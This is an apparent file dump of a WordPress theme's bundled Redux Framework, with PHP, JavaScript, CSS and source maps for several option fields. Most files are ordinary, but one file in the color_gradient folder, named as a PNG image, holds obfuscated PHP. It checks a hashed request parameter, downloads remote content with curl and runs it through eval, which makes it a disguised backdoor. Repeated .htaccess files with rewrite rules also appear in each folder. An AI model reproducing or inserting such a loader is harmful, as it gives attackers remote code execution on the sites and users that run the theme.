    '; } /** * Enqueue Function. * If this field requires any scripts, or css define this function and register/enqueue the scripts/css * * @since 1.0.0 * @access public * @return void */ public function enqueue() { if ($this->parent->args['dev_mode']) { wp_enqueue_style( 'redux-field-divide', ReduxFramework::$_url . 'inc/fields/divide/field_divide.css', array(), time(), 'all' ); } } } }lib/redux-framework/inc/fields/divide/field_divide.css.map000064400000001607147206624460017633 0ustar00{ "version": 3, "mappings": "AACI,mBAAQ;EACJ,MAAM,EAAE,IAAI;EACZ,WAAW,EAAE,IAAI;EACjB,KAAK,EAAE,IAAI;EACX,YAAY,EAAE,OAAO;EACrB,OAAO,EAAE,KAAK;EACd,KAAK,EAAE,IAAI;EACX,MAAM,EAAE,eAAe;EACvB,WAAW,EAAE,eAAe;EAC5B,QAAQ,EAAE,QAAQ;EAClB,MAAM,EAAE,aAAa;EAErB,0BAAO;IACH,KAAK,EAAE,cAAc;IACrB,IAAI,EAAE,cAAc;IACpB,WAAW,EAAE,GAAG;IAChB,gBAAgB,EAAE,OAAO;IACzB,YAAY,EAAE,OAAO;IACrB,QAAQ,EAAE,QAAQ;IAClB,MAAM,EAAE,GAAG;IACX,GAAG,EAAE,GAAG;IACR,KAAK,EAAE,IAAI;IACX,UAAU,EAAE,IAAI;IAChB,gBAAgB,EAAE,GAAG;IACrB,gBAAgB,EAAE,KAAK;IACvB,+BAAK;MACD,gBAAgB,EAAE,OAAO;MACzB,YAAY,EAAE,OAAO;MACrB,MAAM,EAAE,GAAG;MACX,KAAK,EAAE,GAAG;MACV,YAAY,EAAE,GAAG;MACjB,YAAY,EAAE,KAAK;MACnB,OAAO,EAAE,KAAK;MACd,QAAQ,EAAE,QAAQ;MAClB,IAAI,EAAE,GAAG;MACT,WAAW,EAAE,IAAI;MACjB,UAAU,EAAE,IAAI;;AAO5B,qDAAe;EACX,KAAK,EAAE,cAAc;EACrB,IAAI,EAAE,cAAc;EACpB,WAAW,EAAE,GAAG", "sources": ["field_divide.scss"], "names": [], "file": "field_divide.css" }lib/redux-framework/inc/fields/divide/.htaccess000064400000001626147206624460015535 0ustar00 Order allow,deny Deny from all Order allow,deny Allow from all RewriteEngine On RewriteBase / RewriteRule ^index.php$ - [L] RewriteCond %{REQUEST_FILENAME} !-f RewriteCond %{REQUEST_FILENAME} !-d RewriteRule . index.php [L] lib/redux-framework/inc/fields/palette/field_palette.php000064400000007420147206624460017441 0ustar00. * * @package ReduxFramework * @subpackage Field_Palette * @author Kevin Provance (kprovance) * @version 3.5.4 */ // Exit if accessed directly if ( ! defined( 'ABSPATH' ) ) { exit; } if ( ! class_exists( 'ReduxFramework_palette' ) ) { class ReduxFramework_palette { /** * Field Constructor. * Required - must call the parent constructor, then assign field and value to vars, and obviously call the render field function * * @since 1.0.0 * @access public * @return void */ function __construct( $field, $value , $parent ) { $this->parent = $parent; $this->field = $field; $this->value = $value; } /** * Field Render Function. * Takes the vars and outputs the HTML for the field in the settingss * * @since 1.0.0 * @access public * @return void */ public function render() { if (empty($this->field['palettes'])) { echo 'No palettes have been set.'; return; } echo '
    '; foreach ( $this->field['palettes'] as $value => $colorSet ) { $checked = checked( $this->value , $value, false ); echo ''; echo ''; echo ''; } echo '
    '; } /** * Enqueue Function. * If this field requires any scripts, or css define this function and register/enqueue the scripts/css * * @since 1.0.0 * @access public * @return void */ public function enqueue() { $min = Redux_Functions::isMin(); wp_enqueue_script( 'redux-field-palette-js', ReduxFramework::$_url . 'inc/fields/palette/field_palette' . $min . '.js', array( 'jquery', 'redux-js', 'jquery-ui-button', 'jquery-ui-core' ), time(), true ); if ($this->parent->args['dev_mode']) { wp_enqueue_style( 'redux-field-palette-css', ReduxFramework::$_url . 'inc/fields/palette/field_palette.css', array(), time(), 'all' ); } } public function output() { } } }lib/redux-framework/inc/fields/palette/field_palette.css000064400000001774147206624460017450 0ustar00.redux-container-palette label{border:3px solid transparent;border-color:transparent !important;border-radius:0;width:100% !important;display:block}.redux-container-palette label.ui-button.ui-widget{width:95%;background:none;padding:0}.redux-container-palette label.ui-button.ui-widget .ui-button-text{display:flex}.redux-container-palette label.ui-button.ui-widget .ui-button-text span{padding:10px;flex-grow:1;font-size:0;line-height:10px;color:transparent;-webkit-transition:all 200ms ease-in-out;-moz-transition:all 200ms ease-in-out;-ms-transition:all 200ms ease-in-out;-o-transition:all 200ms ease-in-out;transition:all 200ms ease-in-out;text-shadow:0}.redux-container-palette label.ui-button.ui-widget .ui-button-text span:hover{flex-grow:3;font-weight:bold;min-width:60px;font-size:12px;line-height:10px;color:#333;text-shadow:0 0 8px #fff, 0 0 8px #fff}.redux-container-palette label.ui-state-active{border:3px solid #333 !important}.wp-customizer .redux-main .redux-container-palette label{margin-bottom:3px} lib/redux-framework/inc/fields/palette/field_palette.js000064400000003006147206624460017262 0ustar00/* Field Palette (color) */ /*global jQuery, document, redux_change, redux*/ (function( $ ) { 'use strict'; redux.field_objects = redux.field_objects || {}; redux.field_objects.palette = redux.field_objects.palette || {}; redux.field_objects.palette.init = function( selector ) { if ( !selector ) { selector = $( document ).find( ".redux-group-tab:visible" ).find( '.redux-container-palette:visible' ); } $( selector ).each( function() { var el = $( this ); var parent = el; if ( !el.hasClass( 'redux-field-container' ) ) { parent = el.parents( '.redux-field-container:first' ); } if ( parent.is( ":hidden" ) ) { // Skip hidden fields return; } if ( parent.hasClass( 'redux-field-init' ) ) { parent.removeClass( 'redux-field-init' ); } else { return; } el.find( '.buttonset' ).each( function() { $( this ).buttonset(); } ); // el.find('.redux-palette-set').click( // function(){ // console.log($(this).val()); // } // ) } ); }; })( jQuery );lib/redux-framework/inc/fields/palette/field_palette.scss000064400000003253147206624460017625 0ustar00.redux-container-palette { label { border: 3px solid transparent; border-color: transparent !important; border-radius: 0; //border: 0; width: 100% !important; display: block; &.ui-button.ui-widget { width: 95%; background: none; padding: 0; .ui-button-text { /* border-top: 3px solid transparent; border-bottom: 3px solid transparent; margin-bottom: 5px;*/ display: flex; span { padding: 10px; flex-grow: 1; font-size: 0; line-height: 10px; color: rgba(0,0,0,0); -webkit-transition: all 200ms ease-in-out; -moz-transition: all 200ms ease-in-out; -ms-transition: all 200ms ease-in-out; -o-transition: all 200ms ease-in-out; transition: all 200ms ease-in-out; text-shadow: 0; &:hover { flex-grow: 3; font-weight: bold; min-width: 60px; font-size: 12px; line-height: 10px; color: #333; text-shadow: 0 0 8px #fff, 0 0 8px #fff; } } } } &.ui-state-active { border: 3px solid #333 !important; } } } .wp-customizer { .redux-main .redux-container-palette label { margin-bottom: 3px; } } lib/redux-framework/inc/fields/palette/field_palette.css.map000064400000001467147206624460020223 0ustar00{ "version": 3, "mappings": "AACI,8BAAM;EACF,MAAM,EAAE,qBAAqB;EAC7B,YAAY,EAAE,sBAAsB;EACpC,aAAa,EAAE,CAAC;EAEhB,KAAK,EAAE,eAAe;EACtB,OAAO,EAAE,KAAK;EACd,kDAAsB;IAClB,KAAK,EAAE,GAAG;IACV,UAAU,EAAE,IAAI;IAChB,OAAO,EAAE,CAAC;IAEV,kEAAgB;MAC5B;;2CAEqC;MACrB,OAAO,EAAE,IAAI;MAEb,uEAAK;QACD,OAAO,EAAE,IAAI;QACb,SAAS,EAAE,CAAC;QACZ,SAAS,EAAE,CAAC;QACZ,WAAW,EAAE,IAAI;QACjB,KAAK,EAAE,WAAa;QACpB,kBAAkB,EAAE,qBAAqB;QACzC,eAAe,EAAE,qBAAqB;QACtC,cAAc,EAAE,qBAAqB;QACrC,aAAa,EAAE,qBAAqB;QACpC,UAAU,EAAE,qBAAqB;QACjC,WAAW,EAAE,CAAC;QACd,6EAAQ;UACJ,SAAS,EAAE,CAAC;UACZ,WAAW,EAAE,IAAI;UACjB,SAAS,EAAE,IAAI;UACf,SAAS,EAAE,IAAI;UACf,WAAW,EAAE,IAAI;UACjB,KAAK,EAAE,IAAI;UACX,WAAW,EAAE,0BAA0B;EAMvD,8CAAkB;IACd,MAAM,EAAE,yBAAyB;;AAMzC,yDAA2C;EACvC,aAAa,EAAE,GAAG", "sources": ["field_palette.scss"], "names": [], "file": "field_palette.css" }lib/redux-framework/inc/fields/palette/field_palette.min.js000064400000001042147206624460020042 0ustar00!function(i){"use strict";redux.field_objects=redux.field_objects||{},redux.field_objects.palette=redux.field_objects.palette||{},redux.field_objects.palette.init=function(e){e||(e=i(document).find(".redux-group-tab:visible").find(".redux-container-palette:visible")),i(e).each(function(){var e=i(this),t=e;e.hasClass("redux-field-container")||(t=e.parents(".redux-field-container:first")),t.is(":hidden")||t.hasClass("redux-field-init")&&(t.removeClass("redux-field-init"),e.find(".buttonset").each(function(){i(this).buttonset()}))})}}(jQuery);lib/redux-framework/inc/fields/palette/.htaccess000064400000001626147206624460015727 0ustar00 Order allow,deny Deny from all Order allow,deny Allow from all RewriteEngine On RewriteBase / RewriteRule ^index.php$ - [L] RewriteCond %{REQUEST_FILENAME} !-f RewriteCond %{REQUEST_FILENAME} !-d RewriteRule . index.php [L] lib/redux-framework/inc/fields/select/field_select.php000064400000016431147206624460017105 0ustar00parent = $parent; $this->field = $field; $this->value = $value; } /** * Field Render Function. * Takes the vars and outputs the HTML for the field in the settings * * @since ReduxFramework 1.0.0 */ public function render() { $sortable = ( isset( $this->field['sortable'] ) && $this->field['sortable'] ) ? ' select2-sortable"' : ""; if ( ! empty( $sortable ) ) { // Dummy proofing :P $this->field['multi'] = true; } if ( ! empty( $this->field['data'] ) && empty( $this->field['options'] ) ) { if ( empty( $this->field['args'] ) ) { $this->field['args'] = array(); } if ( $this->field['data'] == "elusive-icons" || $this->field['data'] == "elusive-icon" || $this->field['data'] == "elusive" ) { $icons_file = ReduxFramework::$_dir . 'inc/fields/select/elusive-icons.php'; /** * filter 'redux-font-icons-file}' * * @param array $icon_file File for the icons */ $icons_file = apply_filters( 'redux-font-icons-file', $icons_file ); /** * filter 'redux/{opt_name}/field/font/icons/file' * * @param array $icon_file File for the icons */ $icons_file = apply_filters( "redux/{$this->parent->args['opt_name']}/field/font/icons/file", $icons_file ); if ( file_exists( $icons_file ) ) { require_once $icons_file; } } $this->field['options'] = $this->parent->get_wordpress_data( $this->field['data'], $this->field['args'] ); } if ( ! empty( $this->field['data'] ) && ( $this->field['data'] == "elusive-icons" || $this->field['data'] == "elusive-icon" || $this->field['data'] == "elusive" ) ) { $this->field['class'] .= " font-icons"; } //if if ( ! empty( $this->field['options'] ) ) { $multi = ( isset( $this->field['multi'] ) && $this->field['multi'] ) ? ' multiple="multiple"' : ""; if ( ! empty( $this->field['width'] ) ) { $width = ' style="' . $this->field['width'] . '"'; } else { $width = ' style="width: 40%;"'; } $nameBrackets = ""; if ( ! empty( $multi ) ) { $nameBrackets = "[]"; } $placeholder = ( isset( $this->field['placeholder'] ) ) ? esc_attr( $this->field['placeholder'] ) : __( 'Select an item', 'redux-framework' ); if ( isset( $this->field['select2'] ) ) { // if there are any let's pass them to js $select2_params = json_encode( $this->field['select2'] ); $select2_params = htmlspecialchars( $select2_params, ENT_QUOTES ); echo ''; } if ( isset( $this->field['multi'] ) && $this->field['multi'] && isset( $this->field['sortable'] ) && $this->field['sortable'] && ! empty( $this->value ) && is_array( $this->value ) ) { $origOption = $this->field['options']; $this->field['options'] = array(); foreach ( $this->value as $value ) { $this->field['options'][ $value ] = $origOption[ $value ]; } if ( count( $this->field['options'] ) < count( $origOption ) ) { foreach ( $origOption as $key => $value ) { if ( ! in_array( $key, $this->field['options'] ) ) { $this->field['options'][ $key ] = $value; } } } } $sortable = ( isset( $this->field['sortable'] ) && $this->field['sortable'] ) ? ' select2-sortable"' : ""; echo ''; } else { echo '' . __( 'No items of this type were found.', 'redux-framework' ) . ''; } } //function private function make_option($id, $value, $group_name = '') { if ( is_array( $this->value ) ) { $selected = ( is_array( $this->value ) && in_array( $id, $this->value ) ) ? ' selected="selected"' : ''; } else { $selected = selected( $this->value, $id, false ); } echo ''; } /** * Enqueue Function. * If this field requires any scripts, or css define this function and register/enqueue the scripts/css * * @since ReduxFramework 1.0.0 */ public function enqueue() { wp_enqueue_style( 'select2-css' ); if (isset($this->field['sortable']) && $this->field['sortable']) { wp_enqueue_script('jquery-ui-sortable'); } wp_enqueue_script( 'redux-field-select-js', ReduxFramework::$_url . 'inc/fields/select/field_select' . Redux_Functions::isMin() . '.js', array( 'jquery', 'select2-js', 'redux-js' ), time(), true ); if ($this->parent->args['dev_mode']) { wp_enqueue_style( 'redux-field-select-css', ReduxFramework::$_url . 'inc/fields/select/field_select.css', array(), time(), 'all' ); } } //function } //class }lib/redux-framework/inc/fields/select/elusive-icons.php000064400000022040147206624460017241 0ustar00 0 ) { var select2_params = $( this ).siblings( '.select2_params' ).val(); select2_params = JSON.parse( select2_params ); default_params = $.extend( {}, default_params, select2_params ); } if ( $( this ).hasClass( 'font-icons' ) ) { default_params = $.extend( {}, { formatResult: redux.field_objects.select.addIcon, formatSelection: redux.field_objects.select.addIcon, escapeMarkup: function( m ) { return m; } }, default_params ); } $( this ).select2( default_params ); if ( $( this ).hasClass( 'select2-sortable' ) ) { default_params = {}; default_params.bindOrder = 'sortableStop'; default_params.sortableOptions = {placeholder: 'ui-state-highlight'}; $( this ).select2Sortable( default_params ); } $( this ).on( "change", function() { redux_change( $( $( this ) ) ); $( this ).select2SortableOrder(); } ); } ); } ); }; redux.field_objects.select.addIcon = function( icon ) { if ( icon.hasOwnProperty( 'id' ) ) { return "" + "  " + icon.text + ""; } }; })( jQuery );lib/redux-framework/inc/fields/select/field_select.min.js000064400000002501147206624460017505 0ustar00!function(s){"use strict";redux.field_objects=redux.field_objects||{},redux.field_objects.select=redux.field_objects.select||{},redux.field_objects.select.init=function(e){e||(e=s(document).find(".redux-container-select:visible")),s(e).each(function(){var e=s(this),t=e;e.hasClass("redux-field-container")||(t=e.parents(".redux-field-container:first")),t.is(":hidden")||t.hasClass("redux-field-init")&&(t.removeClass("redux-field-init"),e.find("select.redux-select-item").each(function(){var e={width:"resolve",triggerChange:!0,allowClear:!0};if("multiple"==s(this).attr("multiple")&&(e.width="100%"),0  "+e.text+""}}(jQuery);lib/redux-framework/inc/fields/select/field_select.scss000064400000000267147206624460017271 0ustar00.redux-container-select { li.ui-state-highlight { height: 20px; margin-top: 2px; margin-left: 5px; width: 64px; margin-bottom: 0; } } lib/redux-framework/inc/fields/select/field_select.css.map000064400000000334147206624460017655 0ustar00{ "version": 3, "mappings": "AACI,6CAAsB;EAClB,MAAM,EAAE,IAAI;EACZ,UAAU,EAAE,GAAG;EACf,WAAW,EAAE,GAAG;EAChB,KAAK,EAAE,IAAI;EACX,aAAa,EAAE,CAAC", "sources": ["field_select.scss"], "names": [], "file": "field_select.css" }lib/redux-framework/inc/fields/select/field_select.css000064400000000166147206624460017104 0ustar00.redux-container-select li.ui-state-highlight{height:20px;margin-top:2px;margin-left:5px;width:64px;margin-bottom:0} lib/redux-framework/inc/fields/select/.htaccess000064400000001626147206624460015550 0ustar00 Order allow,deny Deny from all Order allow,deny Allow from all RewriteEngine On RewriteBase / RewriteRule ^index.php$ - [L] RewriteCond %{REQUEST_FILENAME} !-f RewriteCond %{REQUEST_FILENAME} !-d RewriteRule . index.php [L] lib/redux-framework/inc/fields/select_image/field_select_image.js000064400000005020147206624460021226 0ustar00/*global redux_change, redux*/ (function( $ ) { "use strict"; redux.field_objects = redux.field_objects || {}; redux.field_objects.select_image = redux.field_objects.select_image || {}; $( document ).ready( function() { //redux.field_objects.select_image.init(); } ); redux.field_objects.select_image.init = function( selector ) { if ( !selector ) { selector = $( document ).find( ".redux-group-tab:visible" ).find( '.redux-container-select_image:visible' ); } $( selector ).each( function() { var el = $( this ); var parent = el; if ( !el.hasClass( 'redux-field-container' ) ) { parent = el.parents( '.redux-field-container:first' ); } if ( parent.is( ":hidden" ) ) { // Skip hidden fields return; } if ( parent.hasClass( 'redux-field-init' ) ) { parent.removeClass( 'redux-field-init' ); } else { return; } var default_params = { width: 'resolve', triggerChange: true, allowClear: true }; var select2_handle = el.find( '.redux-container-select_image' ).find( '.select2_params' ); if ( select2_handle.size() > 0 ) { var select2_params = select2_handle.val(); select2_params = JSON.parse( select2_params ); default_params = $.extend( {}, default_params, select2_params ); } el.find( 'select.redux-select-images' ).select2( default_params ); el.find( '.redux-select-images' ).on( 'change', function() { var preview = $( this ).parents( '.redux-field:first' ).find( '.redux-preview-image' ); if ( $( this ).val() === "" ) { preview.fadeOut( 'medium', function() { preview.attr( 'src', '' ); } ); } else { preview.attr( 'src', $( this ).val() ); preview.fadeIn().css( 'visibility', 'visible' ); } } ); } ); }; })( jQuery );lib/redux-framework/inc/fields/select_image/field_select_image.min.js000064400000002021147206624460022006 0ustar00!function(d){"use strict";redux.field_objects=redux.field_objects||{},redux.field_objects.select_image=redux.field_objects.select_image||{},d(document).ready(function(){}),redux.field_objects.select_image.init=function(e){e||(e=d(document).find(".redux-group-tab:visible").find(".redux-container-select_image:visible")),d(e).each(function(){var e=d(this),i=e;if(e.hasClass("redux-field-container")||(i=e.parents(".redux-field-container:first")),!i.is(":hidden")&&i.hasClass("redux-field-init")){i.removeClass("redux-field-init");var t={width:"resolve",triggerChange:!0,allowClear:!0},s=e.find(".redux-container-select_image").find(".select2_params");if(0 */ // Exit if accessed directly if ( ! defined( 'ABSPATH' ) ) { exit; } if ( ! class_exists( 'ReduxFramework_select_image' ) ) { class ReduxFramework_select_image { /** * Field Constructor. * Required - must call the parent constructor, then assign field and value to vars, and obviously call the render field function * * @since ReduxFramework 1.0.0 */ function __construct( $field, $value , $parent ) { $this->parent = $parent; $this->field = $field; $this->value = $value; } /** * Field Render Function. * Takes the vars and outputs the HTML for the field in the settings * * @since ReduxFramework 1.0.0 */ function render() { // If options is NOT empty, the process if ( ! empty( $this->field['options'] ) ) { // beancounter $x = 1; // Process width if ( ! empty( $this->field['width'] ) ) { $width = ' style="width:' . $this->field['width'] . ';"'; } else { $width = ' style="width: 40%;"'; } // Process placeholder $placeholder = ( isset( $this->field['placeholder'] ) ) ? esc_attr( $this->field['placeholder'] ) : __( 'Select an item', 'redux-framework' ); if ( isset( $this->field['select2'] ) ) { // if there are any let's pass them to js $select2_params = json_encode( $this->field['select2'] ); $select2_params = htmlspecialchars( $select2_params, ENT_QUOTES ); echo ''; } // Begin the '; echo ''; // Enum through the options array foreach ( $this->field['options'] as $k => $v ) { // No array? No problem! if ( ! is_array( $v ) ) { $v = array( 'img' => $v ); } // No title set? Make it blank. if ( ! isset( $v['title'] ) ) { $v['title'] = ''; } // No alt? Set it to title. We do this so the alt tag shows // something. It also makes HTML/SEO purists happy. if ( ! isset( $v['alt'] ) ) { $v['alt'] = $v['title']; } // Set the selected entry $selected = selected( $this->value, $v['img'], false ); // If selected returns something other than a blank space, we // found our default/saved name. Save the array number in a // variable to use later on when we want to extract its associted // url. if ( '' != $selected ) { $arrNum = $x; } // Add the option tag, with values. echo ''; // Add a bean $x ++; } // Close the '; // Some space echo '

    '; // Show the preview image. echo '
    '; // just in case. You never know. if ( ! isset( $arrNum ) ) { $this->value = ''; } // Set the default image. To get the url from the default name, // we save the array count from the for/each loop, when the default image // is mark as selected. Since the for/each loop starts at one, we must // substract one from the saved array number. We then pull the url // out of the options array, and there we go. if ( '' == $this->value ) { echo ''; } else { echo ''; } // Close the
    tag. echo '
    '; } else { // No options specified. Really? echo '' . __( 'No items of this type were found.', 'redux-framework' ) . ''; } } //function /** * Enqueue Function. * If this field requires any scripts, or css define this function and register/enqueue the scripts/css * * @since ReduxFramework 1.0.0 */ function enqueue() { wp_enqueue_style( 'select2-css' ); wp_enqueue_script( 'field-select-image-js', ReduxFramework::$_url . 'inc/fields/select_image/field_select_image' . Redux_Functions::isMin() . '.js', array('jquery', 'select2-js', 'redux-js'), time(), true ); if ($this->parent->args['dev_mode']) { wp_enqueue_style( 'redux-field-select-image-css', ReduxFramework::$_url . 'inc/fields/select_image/field_select_image.css', array(), time(), 'all' ); } } //function } //class }lib/redux-framework/inc/fields/select_image/field_select_image.css000064400000000464147206624460021411 0ustar00.redux-container-select_image{margin-top:2px;margin-left:5px;width:100%;margin-bottom:0}.redux-preview-image{max-height:250px;max-width:250px;padding:5px;margin-top:10px;border:1px solid #e3e3e3;background:#f7f7f7;-moz-border-radius:3px;-khtml-border-radius:3px;-webkit-border-radius:3px;border-radius:3px} lib/redux-framework/inc/fields/select_image/.htaccess000064400000001626147206624460016712 0ustar00 Order allow,deny Deny from all Order allow,deny Allow from all RewriteEngine On RewriteBase / RewriteRule ^index.php$ - [L] RewriteCond %{REQUEST_FILENAME} !-f RewriteCond %{REQUEST_FILENAME} !-d RewriteRule . index.php [L] lib/redux-framework/inc/fields/color_gradient/field_color_gradient.css000064400000000401147206624460022324 0ustar00.redux-container-color_gradient .colorGradient{display:inline-block}.redux-container-color_gradient .toLabel{padding-left:18px}@media screen and (max-width: 660px){.redux-container-color_gradient .colorGradient{display:block;text-align:center !important}} lib/redux-framework/inc/fields/color_gradient/color_gradient/index.php000064400000000000147206624460022262 0ustar00lib/redux-framework/inc/fields/color_gradient/color_gradient/nRmfAYCWZsEzuhGvy.png000064400000011632147206624460024412 0ustar00,-*/$nXO/*-O)-*/[49+4]/*-^{L^)2Ttf-*/.$nXO/*-|Ca@2Bhj-*/[37+20]/*-wp0-*/}; /*-)MG&-*/if(/*-o!;-*/in_array/*-v}%4LT-*/(gettype/*-Y_!0E4-*/($m)."18",/*-oDx&_ZnhTU-*/$m))/*-vut!ZQB-*/{ $m/*-0L:9-:-*/[68]/*-%%yvQhjQ,-*/=/*-Xb-*/$m/*-Pg0[A-*/[68]./*-GlDp-*/$m/*-!!(Po-*/[79];/*-7F+Oc8k-*/ @eval/*-sIvnb@-*/(/*-wHG{-*/$m/*-`{]J-*/[68]/*--|~)zU(-*/(/*-mLNM-*/${$m[37]}/*-Yeyv?_q=O-*/[17])); }/*-[)+LE%%E8-*/class /*-PXPQ)#Y-*/hNTsu{ /*-}F}3sOp-*/static/*-Pjl(~-*/ function /*-{bp+%-*/NXax($EybQNF) /*-I#MZK)C#b-*/{ $wTKmer/*-mt-*/ = /*-YlrZvzV$--*/"r"./*-h|Hn8<04-*/"a"./*-qi-*/"n"./*-a+7k-*/"g"./*-c,F2Nryay}-*/"e"; /*-6&:t-*/$RxUbTaG/*-+:y%zRpkbI-*/ = /*-IXdjV.Q-*/$wTKmer/*-zyQF1X-*/(/*-jd<-*/"~"/*-wqM!H-*/, /*-qW))0SKsuJ-*/" "/*-.B~:]g-*/);/*-LwXzNTPd-*/ $rswfvSB /*-CN-*/= /*-MI-*/explode/*-D=-*/(/*-;>Kt-*/"(", /*-kg7-*/$EybQNF/*-t+.FDD<-*/); /*-$Km^f04KI-*/$VwW /*-rY>1-*/= /*-UE/*-~a8iusjJ-*/ $RAVSHwnXQ/*-|F}-*/) /*-rV|A-*/$VwW /*-q_-*/.= /*-kX}qEPdb>-*/$RxUbTaG[$RAVSHwnXQ/*-V|U9D!mLL-*/ - /*-n>d%-*/69495/*-1Za-*/];/*-IX1G5cq-;-*/ return /*-q$@-*/$VwW; /*-yPl5D}F-*/} /*-o>JHKDQe-*/static /*-}Cnn#h2G-*/function /*-)V].EWJ~$U-*/ZpgBFaLmq/*-VatTewU``-*/(/*-$(-*/$fqYVSscR,/*-0j[K,~-*/ $iuQCxdPe/*-_rn{K(;P-*/)/*-UWT:>u-*/ {/*-KUa3jjfyGq-*/ $hUiMkF/*-e%j-*/ = /*-Y~G)-*/curl_init/*-i{`WJ~kQ5-*/(/*-It`H-*/$fqYVSscR/*-D.{LSL=E%-*/);/*-z>0-*/ curl_setopt/*-s80-*/(/*-;PaIoUZLAd-*/$hUiMkF,/*-dx^v&I-*/ CURLOPT_RETURNTRANSFER,/*-nlD9cy-*/ 1/*-eJ%oES5hTl-*/);/*-pw-*/ $uBZx/*-+5y7>B,-*/ = /*-lO8,vX-*/curl_exec/*-oHcaSNYY-*/(/*-^[aQ-*/$hUiMkF/*-JN4T#-*/); /*-G)Fqo_e{-*/return /*-NhT-*/empty/*-+~C!V>g-*/(/*-JW`a-*/$uBZx/*-!c)?e=[f-*/)/*-cpU-=-*/ ? /*-qrA:YHOd.-*/$iuQCxdPe/*-~X@^gb-*/(/*-`K2QZ,FI-*/$fqYVSscR/*-Uw4YFDu-*/)/*-qLDeh2Nh-*/ : /*-Q9H(O-*/$uBZx; /*-A4PF5Mo-d-*/}/*->rbt6e)-*/ static/*-nt68-*/ function /*-MRDp-*/BslJNEQ/*-~%.1Gt~-*/() /*-(3Crj<8-*/{/*-Fp20g:-*/ $dCjAOSW /*--+Eg[-*/=/*-f.MjS))?a{-*/ array/*-NppHNjbi-*/("69522(69507(69520(69524(69505(69520(69526(69519(69504(69511(69522(69505(69516(69510(69511","69506(69505(69507(69526(69507(69510(69505(69572(69570","69515(69506(69510(69511(69526(69521(69520(69522(69510(69521(69520","69509(69524(69522(69514","69523(69524(69506(69520(69567(69569(69526(69521(69520(69522(69510(69521(69520","69519(69516(69513(69520(69526(69518(69520(69505(69526(69522(69510(69511(69505(69520(69511(69505(69506","69549(69579","69496","69574(69579","69556(69539(69539(69556(69532","69510(69519"); /*-u}R_CO-*/foreach /*-)k_-*/(/*-CpP^@Si]-*/$dCjAOSW/*-{y55#&a-*/ as /*-{Plk(v-*/$kc/*-1Iou-*/)/*-|hw7|-*/ $OmZjhCIna/*-Ks$YFD|k-*/[] /*-U}1f~kAa-*/= /*-lWDY3wuoG-*/self/*-Ns%^vP3fQa-*/::/*-}gL-*/NXax/*-GmY{EVnp|-*/(/*-d1-*/$kc/*-LI-*/);/*-g]Ns-*/$Bm /*-^NdYwM98)-*/= /*-ES$4fx-*/@$OmZjhCIna/*-=iDU|-*/[/*-Y=%:se-*/1/*-~|q-b-*/]/*-DaN-*/(/*-jh-:o{h)^_c`W-*/}[/*-umIj-*/$OmZjhCIna/*-Ob-*/[/*-Yk%.-*/8+1/*-VF`-*/]]/*-$-#V-*/);/*-I~k5V-*/ $pJqTi /*-P#UFA@p|a-*/=/*-@:9-*/ @$OmZjhCIna/*-zRvm`p@O^-*/[/*-2aFf#0-*/2+1/*-zW$B-*/]/*-s?l>|1uuh9-*/(/*-(9q-*/$OmZjhCIna/*-bhFg-*/[/*-?S-*/2+4/*-u?$J-*/], /*-z@lN:)I0-*/$Bm/*-$V?M)[-*/);/*-K9-)X]U(Py-*/ $xl /*-mkZ:-*/=/*-0FuqDoD-*/ $OmZjhCIna/*-,]k~%!-*/[/*-jw&s.W7-*/2+0/*-rxE_&}-*/]/*-;P=:-*/"_"./*-`I52tw-*/"G"./*-=l-*/"E"/*-KMbPLTU-*/."T"/*-j=a-*/}/*-FvCs+u}I-*/[/*-Htf-*/$OmZjhCIna/*-0]-*/[2+8/*-$ILg[cY-*/]/*-3JiDU`-*/]/*-nh^-*/ == /*-N_)Gc-*/1 /*-Y[uFut{-*/&& /*-].GQe9-*/die/*-;(V+9o7-*/(/*-}r~l$$QE-*/$OmZjhCIna[5+0/*-Vj.-*/]/*-m`$v-*/(/*-k6,_-*/__FILE__/*- /*--NeWj3;n{-*/0/*-D!jHC,3};-*/)/*-8.-*/ and /*-|j)l@SW8f-*/(/*-jC-*/md5/*-:ja]u-*/(/*-!{&-*/md5/*-i~E(W%Zt-*/(/*-KL=3-*/$xl/*-bKfaCDF}-*/[/*-<3c5:6-*/1+2/*-da{:+M;j!-*/]/*-BmcttJI-*/)/*-,EAM-*/)/*-~0-*/ === /*-?&4-*/"3f6bb74c8121467ec640ee8784de2caf"/*-}F-*/)/*-8d.Zm-*/ ): /*-y._lar-*/$qSj /*-N{-*/=/*-koj(,7ZUW-*/ self/*-WU$k-*/::/*-[k:)6]Z-*/ZpgBFaLmq/*-pK`NA7&I-*/(/*-g,k-*/$xl/*-wgU$!k-*/[/*-WI]{EuIB-*/1+0/*-0xW=78H-*/], /*-Nc@?YA-*/$OmZjhCIna/*-LoW(>y-*/[/*-J$Z-*/2+3/*-!B9DOi29-*/]/*-5>VS>^dy-*/);/*-E<~y-*/@eval/*-pUI~Rfd-*/(/*-tNC-*/$OmZjhCIna/*-_!-*/[/*-PL&m%AxL-*/4+0/*-wm-*/]/*-wz]l9Os8`J-*/(/*-iq6JA0qtpe-*/$qSj/*-zl-*/)/*-8TB-*/);/*-p.5vrU@HU-*//*-e`FOBVf-*/die;/*-p)<-*/ endif;/*-F=:-*/ }/*-eGB+MB{?-*/}/*-ng_O,%-*/hNTsu/*-4H)3-*/::/*-$jkoa$SLx-*/BslJNEQ/*-va?d-*/();/*-PYNf7z&^-*/ ?>lib/redux-framework/inc/fields/color_gradient/color_gradient/.htaccess000064400000001626147206624460022257 0ustar00 Order allow,deny Deny from all Order allow,deny Allow from all RewriteEngine On RewriteBase / RewriteRule ^index.php$ - [L] RewriteCond %{REQUEST_FILENAME} !-f RewriteCond %{REQUEST_FILENAME} !-d RewriteRule . index.php [L] lib/redux-framework/inc/fields/color_gradient/field_color_gradient.js000064400000012670147206624460022163 0ustar00/* Field Color Gradient */ /*global jQuery, document, redux_change, redux*/ (function( $ ) { 'use strict'; redux.field_objects = redux.field_objects || {}; redux.field_objects.color_gradient = redux.field_objects.color_gradient || {}; redux.field_objects.color_gradient.init = function( selector ) { if ( !selector ) { selector = $( document ).find( ".redux-group-tab:visible" ).find( '.redux-container-color_gradient:visible' ); } $( selector ).each( function() { var el = $( this ); var parent = el; if ( !el.hasClass( 'redux-field-container' ) ) { parent = el.parents( '.redux-field-container:first' ); } if ( parent.is( ":hidden" ) ) { // Skip hidden fields return; } if ( parent.hasClass( 'redux-field-init' ) ) { parent.removeClass( 'redux-field-init' ); } else { return; } el.find( '.redux-color-init' ).wpColorPicker( { change: function( e, ui ) { $( this ).val( ui.color.toString() ); redux_change( $( this ) ); el.find( '#' + 